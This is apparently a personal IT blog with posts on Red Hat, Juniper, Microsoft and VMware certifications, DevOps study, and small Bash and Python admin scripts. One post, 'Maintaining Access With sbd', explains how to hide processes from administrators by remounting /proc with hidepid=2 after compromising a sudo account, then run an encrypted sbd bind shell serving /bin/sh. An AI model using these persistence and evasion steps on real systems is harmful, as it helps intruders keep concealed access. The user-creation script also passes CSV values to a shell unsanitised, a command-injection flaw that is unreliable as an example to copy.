Learning New Skills

My main interests have always been in highly technical areas.  I enjoy an intellectual challenge more than just rudimentary work.  Solving problems and learning how things work at a low-level is what I enjoy the most.

As of late I've been getting into DevOps and cloud technologies.  I've been going through courses on LinuxAcademy.com and learning from tutorials.  I've also started programming again.

My areas of focus have been Docker, Jenkins, Ansible, Openshift and Azure on the DevOps side and Java on the programming side.

Specifically, I've been going through the tutorials on the Openshift: Interactive Learning Portal and I've setup a free account on Openshift Online.

I've also been working through the official Docker tutorials.

With respect to programming, I've been reading Introduction to Java Programming Comprehensive Edition.  I'm really enjoying this book as it is actually a textbook that covers the content in Computer Science 1 and 2 course as well as a Data Structures course.  So it gives a good foundation and it's a good refresher for what I learned in University. 

I plan on reading C Programming: A Modern Approach next followed by Computer Systems: A Programmer's Perspective, The Linux Programming Interface and Programming: Principles and Practice Using C++.  I may throw some other books into the mix so I can cover multiple things at a time but I'll see.

My main areas of interest is in systems programming, back-end development and applications.  What I like about DevOps is that it brings Systems Administration and development together.  Similar to how security touches every area of IT.  Maybe I'll have a future in DevOpsSec.

Red Hat Certified Engineer (RHCE)

Today I earned the Red Hat Certified Engineer certification.  It was the result of about six months of study, many set backs, and hours of lab work.

If you read my previous post about the RHCSA exam, most of it holds true for the RHCE exam.  I used the same resources as before along with LiseNet, and CertDepot.

The exam was pretty difficult and I ran in several problems that took a lot of time to troubleshoot and resolve.  At one point I thought I was going to fail but ended up passing with a 243 out of 300.  I got the results two hours after completing the exam while it had taken around two days to get the results for the RHCSA.  I wrote the kiosk version of the exam (EX300K) rather than the classroom exam, so I was in a room by myself with someone watching me via camera.

My advise for this exam is to learn how to do everything from the command-line.  You should still install the GUI to make things easier for testing and cut and pasting from terminals.  However you should know how to configure everything using the command-line tools and not have to rely upon the GUI or TUI tools as they do not always work.  Make sure you know the major topics well and go through multiple practice tests and labs (LiseNet has a very good practice test which will help a lot). 

Like I mentioned in the RHCSA post, use more than one source for study, this is even more important for the RHCE exam.  If you rely upon one source you will not cover all of the material that's required.  Every source covers all of the topics but do not cover every configuration scenario that is presented on the exam.  I was asked to do things that I've never covered specifically even though I'd done labs based on the topic.

Another tip is to know every topic in depth and don't just gloss over something and just learn the basics or solely what the study material you are using covers.  I fell into this trap and it cost me a lot of time and marks on the exam.

It took me the full 3.5 hours to complete the exam even though I didn't get everything working.  It's the only exam I've ever broken a sweat writing.  I'm glad it's over though.

Red Hat Certified System Administrator (RHCSA)

After a long time I've finally earned my first Linux certification, the Red Hat Certified System Administrator (RHCSA).

I began formally preparing in October 2016, wrote the exam February 3 2017 and received my results today.  283/300.

I've been viewed as mostly a Windows guy, however I've been working with Linux for almost as long as I've been working with Windows.  My goal has always been to get my Linux skills on-par or better than my Windows skills.

The RHCSA covers Linux administration skills at a basic level and is a prerequisite to the Red Hat Certified Engineer (RHCE) certification.

The materials I used to prepare for the exam were; Red Hat RHCSA/RHCE 7 Cert Guide: Red Hat Enterprise Linux 7 (EX200 and EX300) and LinuxAcademy.com.  I recommend using at least two resources as some things are covered differently depending on the resources and it's good to know multiple ways to do things.

The key to passing this exam is doing labs over and over again until you can configure everything from memory only relying upon the resources that come with a Red Hat installation.  This means you have to be able to configure everything using only the man pages, info pages and included documentation.  There is no Internet access during the exam.

Other tips are be sure that all your configuration survives reboots.  So reboot your machine at least once during the exam.  

When working with the /etc/fstab file you can use the mount -a command to mount everything in the file to ensure that you don't get dumped to a emergency shell upon reboot if there are errors.

Learn how to configure everything using both the command line and the GUI and TUI interfaces.  Use the fastest method to configure what you're asked to do.  In the real world you'd be using the command line but this is about passing the exam and time is of the essence.

Be sure to read the questions carefully as I had to redo some things from scratch after re-reading some questions.

The exam isn't overly difficult as I was able to complete all questions but two in 45 minutes.  If you have previous experience it shouldn't be too difficult, just be sure you cover the topics that you're not familiar with.

The RHCSA doesn't carry as much weight as the RHCE, but it's a required stepping stone to it and I learned a lot while preparing for it.

Up next is the RHCE.

Maintaining Access With sbd

sbd is a program similar to netcat that allows one to read and write to TCP sockets.  sbd is fully portable and is available Windows and Unix/Linux operating systems.

In this post I will show how after one gains privileged access to a system they can maintain access using sbd. I will also illustrate some of the pitfalls of using tools like sbd.

After compromising an account that has sudo rights remount the proc file system as follows :

sudo mount -o remount,rw,hidepid=2 /proc
 
This command will remount the proc file system and preclude users from accessing /proc and /proc/PID.  This will hide all processes from users except ones they own.  A unobservant administrator may not notice this at first when logging in under their own account. 

Note that this option is only available under Linux kernels 3.2+.  Also, root will still be able to see all processes.

Next run sbd.  An example of possible options are:

sbd - l-c on -k password -vv -n -e /bin/sh -p 4444

-c on : encryption on
-k password : enable password authentication where password is the password
-vv : verbose
-n : disable name resolution
-e : execute program on connection
-p port : listen on port
-l : listen for connections

As the following examples show, the process is hidden from the non-privileged user, but the ss command still shows the host is listening on port 4444.












From the other host you can initiate the connection as follows :



This method of maintaining access is simple but not very robust as sbd can still be discovered via the netstat and ss commands.  Also, note that a bind shell was used in this example, so the port used must be opened on any firewalls.  A reverse shell would be better suited for this case.

Beginning Penetration Testing With Kali Linux

Over the past weekend I began Offensive Security's Penetration Testing With Kali Linux course.

Anyone who follows the security field, specifically Penetration Testing, is familiar with Kali Linux and it's forefather BackTrack Linux.

For those who are unfamiliar with Kali and BackTrack.  They are Linux distributions that focus on providing the tools needed for various types of Penetration Testing.  You can find out more about them here and here.

The course is delivered via videos accompanied with a lab manual and live labs with real systems for one to practice on.  The course ends with a penetration test on a fictitious company.  The final exam consists of a Penetration Test in Offensive Security's lab environment where the student is required to break into as many systems as possible and submit a report at the end detail the Penetration Test.

As of now, I've completed the first few modules and even though they are introducing elementary topics I have learned many things that will not only aid in Penetration Testing, but in IT in general.

I will document my progress through the course here.

JNCIS-SEC

Recently I passed the Juniper Networks Certified Specialist - Security exam, JNCIS-SEC.

I spent several months studying off and on for the exam and finally bit the bullet and wrote it.

The exam was straight forward with only multiple choice questions.  The exam solely covers the SRX series of security gateways.  If you study the Fast Track guides provided by Juniper you should be able to pass with little issue.

Fortunately for me, the company I am employed by is under going a significant infrastructure upgrade which involved implementing Juniper SRX550 firewalls in a chassis cluster configuration.  This allowed me to get significant hands on experience with the SRX and all of it's security features.

The major plus about Juniper certifications is that only one exam is required to obtain a certification unlike other vendors who require multiple exams.

For prepartion I used the Fast Track study guides available for free on Juniper's website and the SRX Series book by O'Reilly along with hands on experience.

Juniper provides a pre-assement test on their website.  If you pass it, you receive a 50% discount voucher for the exam.

Juniper doesn't have the market share that Cisco and other vendors may have.  However, their devices offer significant advantages and features that other vendor's don't.  Also, Juniper is well known in the service provider sector.

Having knowledge and experience with Juniper and/or other vendors will give you a niche advantage that others won't have.

Coming from a Cisco background myself, I prefer Juniper due to the bang for your buck that you get.  Juniper offers features on their low-end to mid-range products that other vendor reserve for their higher end products.  Also, Junos offers several advantages over Cisco IOS such as batch configuration, automatic archiving of configurations and the ability to rollback to a previous configuration to name a few.

Networking isn't my career focus but it's an area that I do enjoy working in and you can't get really far in the IT field without having at least some basic networking knowledge.

Why You Should Enable Logging On Your Firewall Rules.

Recently I encountered an issue where malware had infected a client's machine and began sending out spam to various mail servers on the Internet.  I had encountered this same issue a few years ago with another client.

In both cases the infected machine was found by checking or enabling logging on a security policy/rule in place on the firewall at the edge of the network.

In prior mentioned incident, a rule was created to permit and log and SMTP traffic.  After this was done, the logs showed the source IP addresses of all SMTP traffic, including the infected machine.  The allowed the machine to be identified and removed from the network.  In the later case the firewall had a IPS component that was running in log only mode that allowed the offending machine to be identified.

Both cases showed the importance of logging traffic on firewall rules/security policies.  It is also a best practice to forward all logs to centralized logging server running syslog, Splunk, logstash/elasticsearch, a SIEM or some other log correlation software so that logs can be analyzed and even have alerts generated from logged events.

Using Python To Prevent A System Crash

An issue with a critical server had been plaguing the IT department for upwards of a year without any resolution.

The issue stemmed from the server running out of virtual memory thus resulting in a crash.  This would happen every month or so.  The IT staff on board at the time were unable to find the cause of the issue and resorted to rebooting the server during the monthly maintenance window as a fix.

The server was running CentOS 6.3 and was being monitored using Nagios.

Shortly after I came aboard I found the following in the syslog file (/var/log/messages) after a crash by cross referencing the time Nagios reported the server being unavailable:

Sep 27 03:34:47 sit-admin kernel: smbd invoked oom-killer: gfp_mask=0x200da, order=0, oom_adj=0, oom_score_adj=0
Sep 27 04:03:55 sit-admin kernel: smbd invoked oom-killer: gfp_mask=0x200da, order=0, oom_adj=0, oom_score_adj=0
Sep 27 04:03:55 sit-admin kernel: smbd invoked oom-killer: gfp_mask=0x200da, order=0, oom_adj=0, oom_score_adj=0

The aforementioned error was a result of a memory leak in the version of Samba running on the server.  The error stems from the smbd daemon creating a new process every time a connection is attempted, successful or not.

The Linux kernel allows processes to request virtual memory whether there is enough memory available or not.  The kernel has a function called Out-Of-Memory Killer (oom-killer) that will kill processes that are of lower priority in order to keep the system running.

After many connections there were over 100 orphaned smbd processes on the system, thus exhausting memory and crashing the system.

Do to some (mis)configuration issues on a another person's part, we were unable to update the version of Samba in a straight forward manner. 

In order to circumvent further crashes I wrote a Python script that checks the for the amount of swap space available will restart the Samba daemon (or whatever daemon you specify) if the amount below the specified value.

The script can be found here.  I scheduled the script to run as cron job and no further crashes have occurred.

VMware Certified Professional - Data Center Virtualization

Recently I began the VMware vSphere : Install, Configuration, Manage course which is one of prerequisite courses required in order to take the VCP5-DCV exam.

The VCP5-DCV certification covers installing, configuring and managing a vSphere 5 environment with vCenter. 

Anyone with any experience with VMware or virtualization in general knows that the VCP5 is a very sought after and respected certification.

I had the opportunity to take the course at an extremely discounted rate so I took advantage of it right away.  The course covers the majority of the exam content, but not all.  So significant self-study and lab work is required in order to pass the exam.

The study materials I am using to supplement the course are as follows:

• The Official VCP5 Certification Guide
• Mastering VMware vSphere 5.5
• VMware vSphere 5.1 Documentation

 In order to fully cover the topics on the exam and gain hands on experience a lab is required.

There are two main options for building home lab.  First, build a physical lab consisting of physical ESXi hosts, shared storage and then virtualize the rest of the infrastructure.  Second, build a nested lab consisting of a fully virtualized infrastructure.  I chose the latter.

Since I already had a physical host running ESXi 5.1, I chose to virtualize my vCenter, iSCSI SAN, and domain controller.

I utilized FreeNAS for the iSCSI SAN.  It is simple and straight forward to setup and does the job very well.

Due to the limitation of the CPU in my ESXi 5.1 server, I had to elect to run the ESXi 5.5 hosts in VMware Workstation on my desktop which is capable of nested virtualization.  With this setup I am able to run a full vCenter environment along with virtual machines.

Here are some sample screen shots and a simple network diagram:

 

Juniper Networks Certified Associate (JNCIA) - Junos

Today after a long period of study I passed the JN0-102 exam and earned the JNCIA - Junos certification.  This is my first Juniper certification and will surely not be my last.

The JNCIA - Junos the first in the Junos certification track from Juniper.  It is the precursor to the JNCIS, JNCIP and JNCIE certifications in the Enterprise, Security and Service Provider certification tracks.

During my preparation for the exam, Juniper updated the JN0-101 exam to the JN0-102, removing some topics and introducing others.  I chose to take the JN0-102, which I shouldn't have since I hadn't studied the new topics thoroughly enough. 

I made the decision to take the JN0-102 based on the fact that Juniper had said the study materials for the old and new exams were the same and the exams were very similar.  However, once reading the detailed exam topics the night before the exam I learned otherwise.

I managed to pass the exam, but I know I would have done better on the JN0-101 exam.

Some topics the exam covers are routing, Junos operation, and subnetting.

Some of the resources I used for preparation are as follows;

• JNCIA-Junos study guides available for free from Juniper's Learning Portal
• Junos OS For Dummies
• Junosphere along with Juniper's Day One guides

The exam was straight forward with no real trick questions.

The Junos platform is more powerful and flexible to Cisco IOS in my opinion.  Features such as automatic archiving of configurations to a remote server, scheduled committing of configuration and the ability to rollback configurations to prevent locking one's self out of a device are some key features that I like.  The configuration syntax and methodology takes sometime to get used to if you're coming from a Cisco background and the Juniper equivalent to a Cisco configuration is usually longer.  But once you get used to it, you'll appreciate the power of Junos. 

For those thinking of taking the exam, be sure to take and pass the Pre-Assesment test on Juniper's website.  Once doing so you'll be given a 50% discount voucher code for the exam.

Parsing a Configuration File Using Bash

Here's a simple way to use a configuration file with a Bash shell script.

#Specify configuration file at command prompt
CONF_FILE=$1

#Read variables from conf file
ADDRESS=$(grep ADDRESS $CONF_FILE | awk -F= '{ print $2 }')
USERNAME=$(grep USERNAME $CONF_FILE | awk -F= '{ print $2 }')
FILETODOWNLOAD=$(grep FILETODOWNLOAD $CONF_FILE | awk -F= '{ print $2 }')
DOWNLOADPATH=$(grep DOWNLOADPATH $CONF_FILE | awk -F= '{ print $2 }')
LOGPATH=$(grep LOGPATH $CONF_FILE | awk -F= '{ print $2 }')
LOGRETENTION=$(grep LOGRETENTION $CONF_FILE | awk -F= '{ print $2 }')

Configuration file:

ADDRESS=192.168.88.20
USERNAME=sheldon
FILETODOWNLOAD=Downloads/*download.txt
DOWNLOADPATH=.
LOGPATH=logs/
LOGRETENTION=-1

The script uses grep and awk to parse the configuration and assign the directives in it to the variables in the script.

MCITP: Enterprise Messaging Administrator on Exchange 2010

Today I passed the 70-663 Designing and Deploying Messaging Solutions with Microsoft Exchange Server 2010 and thus obtained the MCITP: Enterprise Messaging Administrator on Exchange 2010, my second MCITP certification.

This was not an easy exam.  The exam covers everything having to do with Exchange Server 2010 SP1 except Unified Messaging.  While the focus of the 70-662 exam is configuring Exchange,  the focus of 70-663 is Designing and Deploying Exchange.  Do not think that this exam is not technical as it has a good amount of technical content so do not forget what you learned from 70-662.

The majority of my preparation was done by reading the TechNet Library for Exchange 2010 and taking two Microsoft courses that came with my TechNet Professional subscription.  My recommendation is to utilize TechNet and the Exchange team blogs to cover the material as well setup a lab environment.

This certification took almost a year for me to complete due to many set backs, but I am glad it is over with.

Next in line is the CompTIA Linux+ and LPIC-1 combination and possibly a SQL Server 2008 certification or VMware VCA.

Create User Accounts From A csv File In Linux Using Python

Here's a script that I wrote that creates user accounts and home directories from a csv in Linux using Python.

This is a common system administration task that be done using shell scripts but is much easier using Python.

Python has a handy csv module that parses csv files so you do not have to worry about it yourself.

I plan to focus my studies on Linux after I complete the MCITP: Enterprise Messaging Administrator 2010 certification.  So there will be more scripts to come.

#!/usr/bin/python
#pyuseradd.py
#Read users from a csv file and create accounts and home directories.
#Sheldon Alman - sheldonalman@gmail.com
#csv file format : firstname, lastname, username, password
import sys, csv, subprocess

if len(sys.argv) != 2:
    print "Usage: " + str(sys.argv[0]) + " filename"
else:
    filename = str(sys.argv[1])
    with open(filename,  'rb') as csvfile:
        accounts = csv.reader(csvfile)
        for row in accounts:
            subprocess.call(['useradd', '-m' , '-s' + '/bin/bash','-c' + row[0] + row[1] ,  row[2]])
            subprocess.call('echo ' + row[2] +":" + row[3] + " | " + "chpasswd",  shell=True )

OpenVPN

Recently I decided to implement a client access VPN solution that I had been meaning to do for a long time.

I had looked at other solutions like the Windows 7 built in PPTP VPN and pfSense and finally settled on OpenVPN.

The main reason behind my selection of OpenVPN is it's multiple platform support.  The server is available for pretty much any modern OS that one would use, as is the client.  It is also integrated into many open source router and firewall distributions.

There are two versions of OpenVPN available.  The community edition and the commercial edition.  The community edition is available via most repositories for popular Linux distributions and is also available for Windows.  The commercial version is available via OpenVPN's website in many different flavours, including a virtual appliance.

The main differences between the community and commercial editions are that the community edition offers no support while the commercial does, and the commercial edition is easily configured via  a web GUI while the community is generally configured via configuration files.  Furthermore, the commercial edition requires a license per user to connect to the server, however it does come with two free licenses for testing purposes.

I elected to go with the commercial version due to it's ease of setup.  The setup simply involved downloading the Debian Linux based virtual appliance and importing it on to my ESXi 5.1 server.  After going through the simple setup, the server was up and running and I was connected.

OpenVPN utilizes SSL for it's encryption but is not a "true" SSL VPN.  It runs it's own propitiatory client and server.  The client can be downloaded from the server itself but logging in as a registered user and downloading the client for your chosen OS.

Many VPN modes are support including Layer 2 VPN, routed VPN and a NAT VPN where hosts on the private subnet are automatically NAT'd so that hosts on the OpenVPN subnet can access them.

My setup simply involved me port forwarding ports 443 and 1194 to the OpenVPN VM and connecting.  I elected to configure it so that only traffic that needs to access my private network is routed over the VPN and not all Internet traffic.

I plan on looking into the open source version to see what it has to offer, but the commercial version is a great way to get started if you have a small setup.

Update: 
In order to get the Layer 2 VPN to work when using ESXi you have to set the vswitch that the OpenVPN server is associated with to accept promiscious mode packets.  More details can be found here : http://www.jeremycole.com/blog/2010/03/11/openvpn-bridge-under-vmware-esxi/.  Be advised that the Layer 2 VPN is only supported on Windows clients as of now.

Exam 70-662 MCTS: Microsoft Exchange Server 2010, Configuring

70-662 is the first of two exams required to obtain the MCITP: Enterprise Messaging on Exchange 2010.

As the title states, the focus of the exam is configuring Exchange 2010.  The exam topics cover all aspects from installation to granular configuration scenarios.  One noted absence is Unified Messaging.

The exam itself was quite challenging and one needs to know all covered topic very well since they are all equally weighted for the most part.

Trainsignal videos and TechNet were my primary sources of study.  I also setup a lab environment with multiple Exchange servers to get hands on experience.

My recommendations for this exam is to read through TechNet documentation, spend significant time in the Exchange Management Console and Exchange Control Panel and finally know the PowerShell command-lets very well.

On to 70-663.